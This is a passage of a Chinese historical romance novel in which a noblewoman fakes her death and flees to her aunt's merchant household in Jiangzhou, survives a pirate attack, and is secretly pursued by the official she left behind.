魏氏不可置信地瞪大了眼睛,看向一旁盯着焦尸一动不动的纪筌: “侯爷,什…什么?” “瑟儿?瑟儿,她…” 晏时锦将这二人的每一个细微神情都收入眼中,各种生离死别的认亲场景他看得不少,但眼前这双父母面对亲生女儿的“尸体”,竟呆愣着不动,而不是第一时间冲上前去辨认痛哭的,倒是第一次见。 紫电靠近了他们一步说道: “二位不过去看一看,辨认一番?” 经他提醒,夫妻俩方挪着沉重的步子,行至三具焦尸面前,魏氏捂着帕子不敢多看,纪筌神色复杂,怔了半晌,向紫电道: “敢问大人,这…究竟是怎么回事?” 突然一个人影从院外闪了进来,纪云惜跑到魏氏身旁,惊惧的目光扫视了一圈神色肃厉的持刀直卫,落在晏时锦身上,刚想问是什么情况,却突然瞥见了地上的焦尸,吓得惊呼了一声,躲在魏氏的身后,声音颤抖: “啊!” “母亲,这…这是什么?” 晏时锦微黯的眼眸看向身着雪青色衫裙的纪云惜,更是蹙紧了眉头。 紫电叹了口气,看了一眼自家主子,向纪筌道: “纪侯,世子悲痛,想到大小姐的房中瞧一瞧,睹物思人,不知是否方便?” 纪筌不知从怎样的心情中回过神,声音哑了几分,赶忙欲身旁的管家道: “当然,当然,快带指挥使大人去筑玉轩。” 管家抹着泪应了一声,做了一个在前方相让的手势向外走,眼见着晏时锦离开,紫电抱拳道: “纪侯,至于寺中大火其中的具体细节……” 纪筌随即抬手指向一旁的恩熙堂,颤声道: “大人请进屋详谈。” 紫电看了一眼赤霄,随即跟在纪筌身后步入一旁的花厅。 魏氏拉着吓成抖筛的纪云惜慌忙回了一墙之隔的主屋,赤霄跟了上去,看似守在花厅外,耳朵却听着主屋的动静。 很快,纪云惜抑制不住恐惧的惊呼声传来: “什么?” “姐姐,她…已经…死了?” 魏氏忙捂着她的嘴,道: “别叫了,唉,这算个什么事呐!” 纪云惜道: “那晏世子,他,他来咱们家,是…做什么?” 魏氏也是六神无主: “我,我怎么知道?” 纪云惜慌乱道: “母亲,姐姐,姐姐真的…死了?” 魏氏心情复杂,道: “你不是都亲眼见着了么?” “再说,晏世子亲自过来,还能有假?” 纪云惜第一反应是: “那,姐姐和国公府的亲事,不就……” 不就黄了么? 魏氏也是接受不了,这位大小姐为何年纪轻轻就这样死了?从前,没瞧出她是一个短命没福的面相啊? 纪云惜突然看了一眼身上的衣裳,忙哆哆嗦嗦地脱下来一扔,道: “对…对不起,姐姐,我不是故意抢你的东西,你…你在天有灵,千万别怪我,别来找我!” 她对着窗口忙忙地作了几个揖,又想起什么,将鬓发上的两支珠钗也拔了下来扔在衣裳上,口中念念有词,接着向魏氏道: “不行,我要回去把姐姐的东西都找出来,还给她!” 她匆忙回到自己的小院,将屋子翻了个底朝天,两个婢女劝不住,只能跟着她一同把从纪云瑟那儿“借”来的衣裳首饰什么的全都翻找出来,慌慌张张的抱了两个大包裹前往筑玉轩,却被一队直卫拦在了月洞门外。 纪云惜知是晏时锦在里面,不敢多言,只弱弱地说自己是来还姐姐东西的,随即把包裹扔给了两个直卫后,拉着两个婢女逃之夭夭。 筑玉轩是一个极小的院子,只有三间房,正屋内亮着灯,紫电和赤霄二人进入时,自家主子正坐在垂着藕荷色纱帐的床榻上,面上看不出什么表情。 赤霄先上前将魏氏母女二人的话语一字不落地转达,说着,就有直卫将两个大包裹送了进来禀明原委。 赤霄觑着自家主子的神色,将包裹打开,都是衣裳,还有一袋首饰。 见晏时锦蹙眉不语,紫电复述了他与纪筌的谈话,说道: “世子,属下问到,纪姑娘外祖家在扬州,正是有名的富商苏氏,在淮扬一带颇有名气,如今当家的是苏家二小姐苏滢,乃纪姑娘生母的同胞妹妹。” 晏时锦眸光微动,他从前倒真不知她在家中的处境,如今看来,纪云瑟的这番筹谋并不是一天两天,针对的也不是他。 他环顾了一圈陈设简单的屋子,这样一个她从小住到大的地方,竟然没有一丝温馨的气息,怪不得她要跑! 但是,他们两个不都要议亲了么?她成了自己的未婚妻,纪府谁还敢欺负她? 还有,这些事她为何不向自己说?他若是知道,怎会让她受这样的委屈? 当面百般撩拨他向他示好,背地里却只把他当外人?连沈绎都不如? 还是,她只把他当成一个利用的工具!她对自己的预谋接近,只是想利用他手中的权势,达到她的目的而已? 招惹了他却不愿负责,逃之夭夭?休想! 晏时锦拧了拧眉心,向紫电道: “明日,你去查一查悦椿楼,和原来的掌柜方成。” “以及,所有与悦椿楼曾经有过密切往来,或者,曾经与扬州苏氏有关的商铺。” 纪云瑟既然早已做了这个打算,必然会收拾利落干净,就像她的这间屋子,根本没有留下任何有用的线索,但是只要细查,总会有蛛丝马迹。 他又向赤霄道: “明日,你亲赴扬州,盯紧苏家二小姐!” “此人与任何可疑之人接触,都需立刻来报!” 第73章 昼夜扬帆,在船上颠簸了十来日后,纪云瑟一行人终于抵达了江州。没有直接到扬州,就是顾虑有人发现她假死,去外祖家寻她。 她们三个女子早已换上了男装,扮成了茶叶商的模样,沈绎依旧是脚夫打扮。 刚下船,沈绎就接到了快马送来的密信,他没忘记嘱咐人留意京城的动静,算好时辰送来。 纪云瑟看了一眼他微动的眸光,有些忐忑: “夫子,咱们没被发现吧?” “章齐侯府三日前已将长女下葬,” 沈绎深深凝视她一眼,补充道: “晏国公世子以妻礼扶柩,丧仪十分隆重。” “……” 纪云瑟一口气被噎住,狠狠地咳嗽起来。崇陶和效猗用十分复杂的神色看了一眼自家姑娘,又赶紧去忙碌收拾东西,不敢言语。 苏家早有人在码头等着,是个身着窄袖圆领袍的家丁,说是家丁,但容貌却又是俊美无俦,身材高硕,他一眼 看到了纪云瑟,恭敬行礼: “小小姐,请上马车。” 纪云瑟收拾好情绪,警觉地看着这个人,压根不敢乱认,直到看见前来接他们的马车内露出一张熟悉的脸,方信了他,跑过去钻入车内。 “嬷嬷,我想死你了!” 正是她的乳母秦氏。秦氏含着泪轻抚着她的脊背,笑道: “姑娘回家了,什么都好!” 纪云瑟如同一只猫儿一般蹭在秦氏怀里,什么烦心事都忘得一干二净,二人互问了近况,不多时,马车已经进入了一间别苑。 秦氏笑道: “姑娘快下车吧,二小姐昨日就到了,正在这儿等您。” 还未等纪云瑟说话,车帘已经被掀开,露出一张明艳的面容,目光追踪到她后,弯唇一笑,将她拉了下来,狠狠抱紧: “啊呦,我的小瑟瑟!” “你终于来了!” 纪云瑟只觉得自己被搂得喘不过气来后,好不容易松开,又被拉着在原地转了几个圈,听她道: “哎呀呀,看看,这小模样,说是天上的仙女也不为过吧!” “就是瘦了些!” “不过不打紧,姨母给你补一补!” 两侧的脸颊被捏紧又松开,纪云瑟就像一个面团,在这位热情的姨母手里揉搓了半日,终于被她放过,挤出一抹笑: “姨母,好久不见!” 崇陶和效猗愣愣地看了一会儿,对着这位身着窄袖短褙子,衣着发饰干练的少妇装扮的美貌女子行礼,道: “奴婢见过姨奶奶!” 苏滢皱了皱眉,收起笑容,正色道: “什么爷爷奶奶的,我有那么老么?” 秦氏忙在一旁解围道: “叫二小姐吧。” 沈绎观察了一路,知晓此处位于城郊,是个颇大的园子,附近也没有什么人家,便将络腮胡摘下,淡然上前拱手道: “苏二姑娘有礼了。” 纪云瑟在一旁介绍: “姨母,这位就是我信中说的沈夫子。” “我能顺利逃出来见到您,都是夫子不顾危险,替我费心安排。” 苏滢客气向沈绎一笑,颔首道: “沈先生有礼,一路辛苦了,多谢你对瑟瑟的照顾。” 二人客气了一番,见他尚穿着脚夫衣裳,苏滢指了一个侍从,道: “带沈先生去沐浴更衣。” 沈绎自去了之后,苏滢目不转睛地看着他的背影附在纪云瑟耳畔小声道: “长得还行,就是身板太弱了,我跟你说,找男人不能找这样的,你看看姨母身边的这些,得按这个标准找,知道么?” 纪云瑟闭了闭眼,无奈道: “姨母,那是我夫子。一日为师,终身为父…的夫子。” “您千万别胡说。” 苏滢轻哧一声: “什么夫不夫子,你若是喜欢,管这些做什么?” 纪云瑟无奈叹气摇了摇头。她印象中这位姨母的确有些放浪不羁的性子,更是视世俗教条如放屁,不过,也只有她的这番蔑视一切的魄力,苏氏才能走到如今。 毕竟当年外祖父病逝,他几位兄弟觊觎苏氏家产,甚至在灵堂前大打出手,幸好不到二十岁的姨母以一己之力稳住局面,声称自己此生不嫁,独守外祖打下的基业。 这世间对女子就是如此苛刻,男子做一些事是理所当然,女子却要额外付出许多。 如今,她已成苏氏掌舵人,将产业愈发做大,更是把规矩经道视作空气,我行我素,不惧流言,活得肆意洒脱。 纪云瑟突然想到自己从前对某人的刻意招惹,莫非是不自觉学了些这位姨母的作风? 但她自问如今还做不到,全部打破她遵循了十几年的礼法。苏滢见她如此,遂道: “真没那意思就算了,去洗一洗,姨母给你准备了好东西,给你接风!” 纪云瑟梳洗完毕,换上了苏滢为她特意准备的上好的苏绣浣花锦裁制的外衫,在琳琅满目的妆奁立挑了两支素净些的珠钗簪了,被这位姨母惊艳的目光瞧了许久,不住夸赞: “看看,还是像咱们苏家人多一些!” 纪云瑟用了堪称山珍海味的奢华一顿午膳后,方知苏滢口中给她准备的“好东西”远不止这些。 “见过小小姐!” 眼前站着的一排面如冠玉唇红齿白,身材却是魁梧奇伟的少年男子,整齐划一地向她抱拳行礼,正喝茶漱口的纪云瑟差点呛住,她猛然咳嗽了几声,看向身旁的苏滢,道: “姨母,这…这是…何意?” 苏滢道: “这几个都是我精心挑选的护卫,身手不凡,以后就贴身保护你。” 纪云瑟饮了一口茶,讪笑道: “不,不必吧?” 苏滢不容她拒绝,身为富商,近身侍卫必不可少,更何况她这个外甥女儿本就生得招人。 因说起她即将启程去往暹罗做一单生意,归期不定,短则半年,长则一年以上也有可能。 纪云瑟当即来了兴致,必要跟着同去,左不过这一两年,她不便在大缙露面,正好跟着姨母出外见见世面。 苏滢早已给她另制了个身份,去了纪姓,以“云”为姓,户籍落在江州一个与苏氏关系亲近的黄姓生意伙伴家,假称是他家的远方亲戚,被黄某认作了义女。 见纪云瑟执意通往,苏滢便也答应,让人带着她新的户籍文书自去办通关文牒。 沈绎亦向纪云瑟辞行,纪云瑟感激地朝他施了一个礼: “我能顺利逃出,多亏了夫子替我谋划,只是,害了夫子成如今不得见人的模样。” 沈绎见小姑娘一脸歉疚,忙笑着摆摆手,道: “怎么会呢?” “原本我就要来江南一趟,有些事,我需亲自去查探。” 纪云瑟也大致猜到了这位夫子从前潜藏京城多年,突然入太医署一举成名,太后薨逝后又骤然去职,一定是有什么不足向外人道的秘密,而且他并不是自己所想的一介书生,而是颇有人脉之人,能将那些事做得滴水不漏,恐怕也是出身不凡。 她不便多问,只道: “夫子保重!” 沈绎看着她晶亮的杏眸,弯唇一笑: “你也是。” “或许等你从暹罗回来,我也恰好办完了事,咱们还能在江州再见。” ~ 初冬的京城,刚刚下过一场雪,京卫司指挥使司一如既往的一片冷肃气氛。 指挥使晏时锦端坐书案后,听见窗外有树枝被积雪覆盖,支撑不住断裂掉落的声音,抬头看了一眼碧纱后隐约可见的一片雪白,手中的笔慢慢松开,目光有一瞬间的柔和,又骤然缩紧了黑眸,继续落笔。 紫电在一旁小心觑着自家主子的神色,默默在心底叹了口气。 天气再冷,也没有自家主子的脸色冷,近来,他行事愈发凌厉不讲人情,对裕王和夏氏的党羽穷追不舍就算了。 连“老丈人”纪侯爷都被他大义灭亲,将他原本靠着太后娘娘谋来的,在织造局的一个差事免了,另换了个毫无油水的闲职。 也不知主子心里究竟是怎么想的,甚至连纪姑娘的妹子都没放过。 将那位纪家二小姐原本打算勾/引涟亲王世子赵峥不成,阴差阳错地认识被小郡主退婚的孟家五郎,两人私定终身、珠胎暗结的龌龊事让人揪了出来。 紫电正没精打采地默默叹息着,却见青霜突然敲门,道: “主子,冀州来信!” 晏时锦搁下笔,道: “进来!” 他接过青霜手中的密信,拆开看后,眼底闪过一丝戾色,果然不出他所料,沈绎根本没有回冀州奔丧,那只是他的一个替身! 晏时锦森冷的目光落在青霜身上,将信重重甩给他: “你自己看!” 青霜浑身一凛,看毕后更是吃了一惊,也不敢辩解,弱弱问道: “世子,是否要属下去将那人捉回,禀报圣上?” 晏时锦没好气地白了一眼这个蠢蛋下属,道: “你是要打草惊蛇?” 紫电和青霜二人静立不敢动,片刻后听自家主子吩咐 道: “去查火起的第二日,通州去往江南一带的所有船只!” 第74章 江州城,又是一个阳光明媚的初夏。 烈日高悬,城郊的漪澜苑,有凉凉的风透过窗棂吹入厢房内,宽阔的拔步床落着银红的霞影纱,远远看着,如山间的云霞伴着薄雾,隐约可见纱帐内一个窈窕身影,呼吸规律起伏,正睡得香甜。 效猗端着热水悄然推开了门,无奈摇了摇头。 自家姑娘昨日夜里刚从琼州岛回来,看着她一身疲惫,早上便没舍得喊醒她,任她睡到此刻。 两年前,姑娘跟着二小姐去往暹罗,因人多不便,便留下了崇陶在江州,只带了年长些的她同去,她们一路上虽见识了从前未曾见识的山海风景,但也实在奔波。 别的不说,一行人乘宝船在海上就历经了约莫一个月,第一次身处茫茫海中央,自家姑娘倒是一点儿也不惧怕,日日看着太阳东升西落,和一望无际的海面,缠着船夫伙计们讲从前的一些经历趣闻。 效猗却是不敢轻易出船舱往外瞧一眼,那感觉,就似天地无限放大,而她如微尘般渺小,只要站在甲板上吹着海风,心跳就似随着海浪起伏,无法平静。 有一次,还碰上了海上暴雨,倾时狂风大作,电闪雷鸣不止,那滔天的巨浪,仿佛要吞噬一切。 自家姑娘见船晃得厉害,开始也是害怕,但见二小姐和船夫水手们皆是面色淡然处变不惊,也就镇定下来,拉着她躲入船舱,劝她这种情况担心也是白费的,就当这大船是个大摇篮,安心睡觉便是,想必第二日就雨过天晴了。 而效猗却提心吊胆地默念了一夜的“阿弥陀佛”,生怕一船人的性命就此交代在这无垠的碧波之中。 幸好有惊无险。 二小姐在暹罗的生意谈得算顺利,自家姑娘也跟着学了好些经商之道,二小姐见姑娘有些灵性,带她见了几次世面后,其中的几单货物往来,便放手让姑娘去与人商谈。 姑娘也是初生牛犊不怕虎,有了二小姐做靠山,胆子也大起来,好在一切顺遂,来往的货物交接妥当。 自家姑娘第一次远行,暹罗又有许多从未见过的瓜果美食,便有意在那里住了许久,直到二小姐赶着要回大缙谈另一桩生意。 到了琼州之后,自家姑娘见她实在受不住颠簸,已经出现水土不服之症,只得让她先行回江州,自己继续跟着二小姐留在那儿,顺便等着暹罗的货船。 直到几个月后方返回江州。 效猗回过神,看了一眼滴漏,随即拉开帐帘,里面露出了一张精致的美人面,乌发如瀑般散落枕畔,身上盖着薄薄的被衾,一只雪白的膀子不安分地随意搭在外。 效猗叹了口气,正要把自家姑娘唤醒吃早膳,却见她突然紧紧抓住被衾缩成一团,惊叫道: “啊!不要杀我!” 效猗一惊,忙抓住她的手,道: “姑娘,姑娘,奴婢在这里,您怎么了?” 纪云瑟睁开眼,看见是效猗,又四下打量了一圈,确定自己已经回到了江州别苑中,方捂着胸口缓过气来。 昨日她一晚梦魇不曾睡好,眼前总出现那几个狰狞凶煞的面容,和满目的鲜血印记,直到天色渐明,才实在熬不住合眼睡去, 效猗一脸狐疑,问道: “姑娘,您做噩梦了?” 纪云瑟点点头,擦了擦额头上的汗粒,直见有初生的日光照进屋子里,方觉得回到了人间。 效猗只当她是一路奔波累着了,轻轻地拍了拍她道: “姑娘,您先起来用早膳。” 见她似睡眼迷糊,以为她还不愿起,怕她久睡伤身,便笑道: “您一到江州就跟着二小姐去暹罗,今日难得这样的天气,姑娘早些起来逛逛这园子可好?” 纪云瑟闻言,看向窗外的树影,轻轻舒了一口气,忽的闻见“叮咚”的声响,她一面起身,一面道: “什么声音?” 效猗向外看了一眼,道: “姑娘刚来时,不是说那翠湖边的枫树地底下放个秋千架甚好么?如今您回来了,崇陶正让他们做去呢。” 纪云瑟终于缓过了神,随口问道: “这么快请了匠人来么?” 效猗拿来衣裳给她换,将她黑缎一般的长发拢起又放下,道: “原本要去请的,但破竹说他会,便由他来做。” “您用了早膳去瞧一瞧,看看他做得好不好。” 纪云瑟揉了揉有些睡懵了的脑袋,似突然想起了什么,皱了皱眉: “破竹?” 她套上衣裳,让效猗随意给她绾了个发髻,便步出门外。 院子里枝叶繁茂的大树下,崇陶正忙来忙去地指挥一个高直健硕的男子在那里锯木头, “把架子搭高些,姑娘喜欢荡得高高的远远的。” 男子温声应道: “是。” 崇陶又去挑了一根木头,正命两人扛过来,忽的瞧见一角丁香色衫影靠近,忙迎了上去,指着已经锯好的一截木头,笑道: “姑娘快来看看,这么高好不好?” 谁料自家姑娘并未理会她,却行至破竹面前,按住他手中的木锯,道: “你身上有伤,快回去休息吧!” “这个让他们寻两个匠人来做。” 男子修长的眼睫低垂,扫过自己手边雪白的柔荑,道: “小小姐放心,小人无碍。” 纪云瑟看着他苍白的面色,随手拉开他松散的外衫,果见左肩处缠着的厚厚一层纱布透出了丝丝血迹,皱紧眉头,道: “还说没事,你看看!” 崇陶看着他隐约透出的颇长一道伤口,吓了一跳,忙问: “姑娘,这,这是怎么回事?” 待让人扶着破竹去寻了园子里的大夫来看伤重新包扎,纪云瑟方告诉了崇陶和效猗他们从琼州回来时的遭遇。 “什么?水盗?” 崇陶和效猗惊得瞪大眼睛,嘴都合不上了。 纪云瑟亦有些后怕,刚来江州时,姨母就给她安排了六个侍卫,她原本还觉得是多此一举,直到从琼州岛回江州时,他们一行人的船碰上了水盗。 那天风平浪静,白日里,纪云瑟和苏滢对了一遍账目,又与随同的掌柜商议回江州后的一些筹算,至夕阳西斜时分,纪云瑟便回了自己的舱房内,坐在窗前看着两岸连绵的山不断后退,和映得江面一片金光的落日。 落日完全隐入水平线,便有侍卫过来替她点上了灯。 直到带着其中三人走了一路,纪云瑟才明白自家姨母口中的“贴身侍卫”究竟是什么意思。 因为路途遥远,太多女子一同上路极其不便,苏滢和她各自只带了一个贴身婢女,余下的琐事都交给了侍卫,他们除了日常保护她们姨甥俩的安全,几乎什么都能做,端茶递水、洗衣下厨。 但纪云瑟实在不比苏滢,能放心坦然地将所有贴身的服侍都交给侍卫,她完全不适应几个高硕的男子每日在她面前晃来晃去,效猗先回了江州,寻常的小事都是她自己做了。 苏滢见她如此,自是调笑了她一番,告诉她别说贴身服侍,就是让他们侍奉枕席也是无妨。 纪云瑟听得瞪大了眼睛,咋舌不止,连连摆手。苏滢只得将自己带着的唯一婢女积玉派去服侍她。 纪云瑟准备在房 中沐浴,便唤了积玉命人抬水进来。 暮色渐浓,纪云瑟见积玉已准备妥当,便放下手中的账本,揉了揉有些酸痛的肩颈,正起身准备宽衣时,“嗖”的一声,窗外突然射入一支利箭,钉在舱壁上,箭尾犹自颤动。 纪云瑟惊得僵在原地,积玉倒是见过些世面,迅速过来将她护在身后。 舱外甲板上顿时响起杂乱的脚步声和呼喝声,似乎整艘船都剧烈地振动了起来,木桶里的水溅了一地,刀剑交击声此起彼伏,名唤“破竹”的侍卫推门而入,迅速拔剑护在纪云瑟身前,道: “小小姐莫怕,小人在此!” 突然一个身影从窗外跃入,脸上绑着三角巾,手中握着的利刃寒光闪烁,直直向纪云瑟挥刀砍去。 纪云瑟还未反应过来,破竹已迎上前去,剑锋相撞,刀光剑影,破竹身手敏捷,招招迅猛,逼得对方节节败退。 却不料,又从窗外飞入一黑衣人,扫视一圈后,手中长剑刺向正中的纪云瑟,积玉惊呼一声,伸手来挡,幸好被破竹飞过来的剑鞘击中那人。 整个船舱已经陷入一片混乱,刀剑声、呼喝声交织,纪云瑟从未见过这番情景,早已吓得呆愣在原地。 她的另外两个侍卫流水和穿杨进来,分别护着纪云瑟和积玉向客舱内躲去。 纪云瑟抚着快跳出来的小心脏,勉强定了定神,紧随流水之后,却被突然扫过来的一片刀刃吓得魂魄差点出窍,流水与那黑衣人厮打起来,她赶忙抱着头缩在角落里。 突然,一道亮光闪入她眼眸,有个面巾已落,满脸横肉的大汉看见了她,似发现了新猎物一般,眼中闪过贪婪之光,持刀向她走来,那人不忘吩咐两个手下缠住一旁的流水,目光直视纪云瑟: “呦,这里还有个小美人!” “莫怕!等大爷好好疼一疼你,再送你上路!” “你别过来!” 纪云瑟浑身哆嗦,咬紧牙关,随手摸索着抓起一把绣墩猛地向他砸去,却被他轻易躲开,眼中凶光更甚,他轻哧一声: “小丫头,还挺辣!有意思……” 纪云瑟身旁已经没有任何趁手的物什,只能撑着地面往后退,眼睁睁地看着那大汉一步步逼近,一脸狰狞地向她扑来。 关键时候,她被人拦腰一抱,与那一身水腥气的大汉擦身而过。 第75章 待纪云瑟反应过来,她已经转了一个圈被破竹拥在怀里,一阵血腥气弥漫,有湿润浸染了她的衣襟,她循着血迹看过去,才发现破竹的左肩处插着一支箭矢。 “啊!你…中箭了?” 纪云瑟忍不住捂着嘴惊叫了一声。 “小人没事!” 破竹退后两步,一剑将箭矢砍断,随即抱起已经腿软站立不住的纪云瑟径直向舱内的密室走去。 苏滢及两个掌柜和积玉早已在那里,他们并不是第一次见那等场面,其他的倒不担心,唯一放心不下的是纪云瑟,看见她进来,苏滢实实在在地松了口气,抱着明显受了惊吓的她安慰了许久。 幸好,水盗人虽多,但不过是些乌合之众,激战了一个时辰,就被苏家精干的侍卫打得落花流水,死的死,逃的逃。 直到回了别苑,纪云瑟向崇陶和效猗说起这件事时,依旧是惊魂未定。 昨日他们回来得匆忙,两个贴身婢女也是此刻才知道他们一行人还有这番惊险遭遇,心中一阵后怕,幸好自家姑娘全须全尾地回来了,否则还得了? 不过,让纪云瑟更烦恼的倒是另一件事。 经过那次水盗来犯劫后余生,她便日日梦魇,根本不敢独自一人入睡,看她日日顶着眼下的乌青,苏滢问了半日方知晓,苦笑一阵后,无奈只能让流水和穿杨两人分守在她的窗外和门口。 纪云瑟知道有两个武功高强的人就在不远处,才能安心睡去。 但那是在船上,他们两人夜里在她房外的舱板上打个地铺就罢了,可如今回到别苑,总不能再让几个男子夜夜在她房外守着她吧? 而崇陶和效猗又是完全不会武功的弱女子,像昨日,就算她们两个陪在她一侧的耳房里,纪云瑟依旧是不放心,总是一闭上眼,刀光剑影和一幕幕血溅四壁的场景,就扑面而来。 她没精打采,随意用了些早膳,便将大夫叫来,细细问了问破竹的伤情,大夫道: “小小姐放心,他身体强健,虽伤口有些轻微开裂,但并无大碍,只养几日便好。” 纪云瑟闻言松了口气,又嘱咐说需要什么贵重药材、补品之类的尽管开口。 她还是第一次欠人这么大一个人情,虽说破竹是姨母给她的侍卫,但总有些过意不去。 正好苏滢过来看看这个外甥女,听见了她对大夫的一番极为认真的嘱咐,待人走后,搂着她的肩膀,笑着在她耳畔轻语: “你若是觉着破竹不错,不如,把他收在房中?” “就当是你报他个救命之恩嘛!” 纪云瑟被这她的一番话惊得目瞪口呆,忙摇摇头: “姨母,您在说什么?!” 苏滢见她羞窘,笑得愈发开怀: “再说,你不是晚上不敢一个人睡么?有他陪着,还有什么好怕的?” “我这也是替你着想,一举两得嘛!” “……” 纪云瑟纵是再厚颜,也不知该如何接话,羞恼地看了这位离经叛道的姨母一眼,转身就要走: “我不跟你说了……” 苏滢见她如此,拉住她正色道: “别走嘛!” “玩笑归玩笑,我倒是跟你说正事,咱们苏氏这么大一摊家业,总得后继有人,你跟我说你不想嫁人,我不逼你,但你必须给我生个小外孙!” 这番话在暹罗时,苏滢就已经跟她提起了,但她只当玩笑敷衍了过去,如今见这位姨母说的郑重,纪云瑟坐在一旁端起茶碗饮了一口,是今年最新的雨前龙井,极是甘醇,她细品了品,撇了撇嘴,道: “姨母您年纪又不大,为何不自己生?” 苏滢叹道: “我想生,也得有空余啊!” “四叔五叔他们几个草包盯着我就罢了,还有外头的人,哪个是省油的灯?不然,你以为我日日前呼后拥的围着一伙人是为什么?” 她如今是苏氏的掌舵之人,大部分的事都必须亲历亲为,分身乏术,根本没有闲暇,而且若是有孕,便会有许多顾忌,让人有可乘之机。 “外头的事,我可以帮您去做呀!” “您若是有了,安心养胎便是。” 纪云瑟一脸真诚地看向她,她跟苏滢走了一趟后,对生意之事颇有兴致,跃跃欲试。 苏滢摸了摸她的小脑袋,直言道: “你来?恐怕还得再学好几年!” “到时候,我还能不能生,倒是个问题了!” 纪云瑟有些不服气,她还想辩解两句,苏滢忙道: “罢了,我今日没空与你说这些,商会那边正等着我。” “我过来是想着你夜里不敢睡觉,专门给你带了两个‘陪睡’的过来。” 见她瞳孔圆睁,一副如临大敌的模样,苏滢轻笑一声: “别这样,过来看看满不满意再说!” ~ 京城,勤政殿。 明黄的帷幔垂落,在微凉的夜风中轻轻摇曳,江守忠觑着永安帝微黯的神色,将青瓷盖碗奉了上去,道: “陛下,茶汤已经出色,您喝一口润润嗓子罢。” 他心底默默叹了口气,不禁暗骂刚刚离开的礼部那起子人,个个自诩儒生,自以多读了两本书,自己大老婆小老婆一屋子不去约束,偏偏对君王的私事指手画脚。 说什么天子无私事,贵妃一介孤女不说,先前还有与他人订亲,不清不楚的一些事, 又有传闻是因私德不佳被退了婚,如此出身和品性,不能入主中宫,母仪天下。 那些传言,明眼人都知晓,分明是有心之人因一己私利故意散播,没有证据却能空穴来风。 臣子们敢用这些无稽谣言为据力争,不就是仗着陛下明事理好说话,不是那等我行我素拒不纳谏的昏君,才敢如此放肆。 永安帝何曾不明白这般臣子的心思,若是他再年轻十几岁,正是血气方刚的年纪,还管他什么君王御下之道,早就龙颜大怒,将这些酸儒逐出朝堂了。 可如今,他已年近不惑,好不容易用了二十年时间,将先帝西征却突然驾崩留下来的外强中干的烂摊子收拾妥当,深知平衡朝堂需以和为贵,有些事不能操之过急,只能按下心头火气。 他缓缓饮了口茶,向江守忠道: “把子睿叫来。” 他不可能放弃。雪沅是他活了大半辈子的唯一心爱之人,他必须为她费心谋划! 他自知自己不再年轻,纵是如今身子康健,但十年后呢?他又有多少个十年陪着她? 虽然她已经诞育了公主,他也喜欢得紧,但不得不承认,一个公主并不足以护着她,若是没有皇子傍身,甚至,哪怕她能再生个皇子,可是,孩子还小,若是他自己突然有一日不在了,谁能护着他们母子几人? 唯一的出路,就是立后。 只要她是正宫皇后,他的皇子们无论谁坐上那个位置,都要尊她为嫡母,到时,他会再托付几位得力的心腹大臣帮衬着,他心爱的姑娘就能安稳地过好下半辈子。 此事,他绝不会向朝臣们妥协! 不多时,有内监通报: “禀陛下,晏指挥使已经到了!” 一道挺阔的身影步入殿内,晏时锦行礼后,永安帝面色不悦,吩咐江守忠将礼部上奏的折子递给他, “你看看这个。” 晏时锦迅速看毕,直言道: “臣以为,此乃陛下私事,自有陛下做主。” 永安帝甩了甩手中的菩提子: “可他们说,皇后是国母,立后便是国事。” 晏时锦道: “臣以为,只要贵妃大节不亏,便能胜任国母。至于私德,皇后首先是陛下的妻子,陛下您做为贵妃的丈夫都不计较,外人哪有置喙的道理?” “臣子们娶妻纳妾,也没见他们都来过问陛下的意思,又有何资格对陛下愿娶哪个指手画脚?” “明日上朝,礼部的人定会提及此事,陛下放心,臣知道该如何做。” 他绝不会让几个臣子凌驾在天子的威严之上,皇帝行事,怎可看臣子的脸色? 永安帝舒展了眉目,面露欣慰,道: “子睿,甚得朕心!” 他身在其中不便与朝臣直接闹翻,但只要有人力挺此事,他就有办法扭转乾坤。 晏时锦顺势道: “禀陛下,臣还有一事。” “庐州有件案子,臣想亲自走一趟,或许,需要一段时日方能回京。” 永安帝略带几分诧异,道: “朕记得这些时日,你们国公府不是准备着你……” 晏时锦俯首抱拳道: “公务要紧,臣不敢因私废公。” ~ 及近春末,纪云瑟身为江州当地颇大的一个乡绅黄家的义女,待了一段时日后,便与本地的一些官眷熟识了。 这日,接到了江州知府罗家的赏花宴邀帖,她与罗家四姑娘罗姝见过几次面,算是颇为投缘,便稍稍收拾一番去了。 一听下人来报,罗姝出来迎她,两人拉着手见了礼,罗姝先看了看她身后,诧异道: “咦,你的那个侍卫,今日没跟你一同来?” “你家是官府,进来怎好带侍卫?” 纪云瑟先是有些诧异,待看她讪讪地收回期待的眼神,明白了几分,有些颇具意味地看着她笑道: “怎么,你到底是迎我的还是迎他的?” 罗姝忙拉着她往花园走,笑道: “自然是迎你的!” “我还特地备了好东西送你呢!” 纪云瑟见她转移话题,也不揭短了,径直跟着她行至一处专门留了位置,摆好了茶饮和几样茶点的八角亭内,将一个小锦盒递给她: “这是我长姐从京城带回来的时兴珠花,给了我四支,分你两支。” 纪云瑟看着做工考究的小盒子,笑道: “真好看,这样精致,多谢!” 罗姝笑道: “咱们之间,客气什么?” “上次你送我的那些暹罗的香露,我拿了一瓶给长姐,她喜欢得什么似的,额外又还了礼给我,这不是托你的福么!” 纪云瑟知晓她家大小姐的夫君前年调任了京官,难得回来一趟,便随口问道: “令姐就回京城了么?怎的没有在江州过了端阳再走?” 罗姝给她斟了一杯茶,又递了个荷花酥给她,道: “可不是,今年好不容易回来一趟,却急急忙忙的,说是赶着回去,参加晏国公府和成国公府结亲家的婚宴。” 眼前突然闪过一张丰神俊逸的面容,纪云瑟顿了顿,了然地点点头,也对,都过去两年多了,那位“丧妻”的世子爷,也该再娶了吧! “听我大姐说,最近,京城的喜事颇多呢!” 罗姝人不如其名,实则是个安静不下来的性子,见这位好友似对晏国公府的喜事不感兴趣,又迫不及待地跟她分享京城的其他新鲜事,但纪云瑟兴致缺缺,只是随口应声两句,直到听她提起: “还有,你听说过涟亲王府么?他家的小郡主,嫁到北疆去了!” 纪云瑟刚咬了一口酥饼,顿了顿,喝了一口水,问道: “北疆?是哪家?” “成安侯世子,你听说过么?” “说是他家在北疆打了许多胜仗,若是北疆再太平几年,估摸着就能回京城,封个公侯了。” “厉书佑?” “那曦和公主呢?” 纪云瑟脱口而出,却见罗姝诧异地看向她: “你知道的还挺多!” 她从前只听说这位云姑娘是黄老爷家的远房亲戚,因他膝下无女,只有几个儿子,便把她过继了来,以为她一直长在乡野,谁知她竟知晓这些个人名。 纪云瑟讪讪一笑,找补道: “是我在江州这段时日,道听途说的。” “她们都说曦和公主也到了婚配的年纪,随口问问。” 罗姝并无在意太多,道: 